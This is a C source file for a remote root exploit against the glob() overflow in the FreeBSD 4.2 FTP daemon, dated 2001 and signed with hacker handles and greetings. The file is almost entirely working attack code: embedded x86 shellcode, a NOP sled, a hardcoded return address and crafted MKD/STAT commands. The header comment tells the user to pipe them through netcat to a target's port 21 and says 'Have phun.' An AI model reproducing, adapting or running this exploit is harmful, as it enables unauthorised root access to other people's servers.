/*
 *  glob() ftpd root exploit for freebsd 4.2
 *
 *  16/04/2001  StYx / styx@mal.tebank.com.mk
 *
 *  Compile: gcc -o ronin ronin.c
 *  Use: (./ronin ; cat) | nc target 21
 *
 *  Creditz:
 *  venglin (riped piece of his code :-] ) 
 *  preedator (tnx for the help bro)
 *
 *  Greetz:
 *  jstr,atko,psx-one,slash,netzero,sniper,sircho, #seir ...
 *
 *  This sploit needs user acces and a writable homedir without chroot,
 *  just add your user and passwd.
 *
 *  Cudovo e napisano za Sircho od MoL za da vidi deka ne se Mol 100%
 *  sigurni
 *
 *  Have phun.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define RET 0x805e23a

char hellc0de[] = 
  "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68"
  "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04"
  "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01"
  "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53"
  "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c"
  "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31"
  "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d"
  "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d"
  "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5"
  "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";

unsigned long get_esp(){
  __asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
  char heh[260];
  int offset =0;
  char k[256];
  char user[] = "user";
  char pass[] = "pass";

  memset(heh,0x90,sizeof(heh));
  memcpy(heh+sizeof(heh)-strlen(hellc0de),hellc0de,strlen(hellc0de));
  memset(k,'A',sizeof(k));
  *(long *)&heh[252]=RET - offset;
  heh[257]='\0';

  printf("user %s\n",user);
  printf("pass %s\n",pass);

  printf("MKD %s\r\n",k);
  printf("STAT A*/../A*/../A*/%s%s" ,heh,"\r\n");
}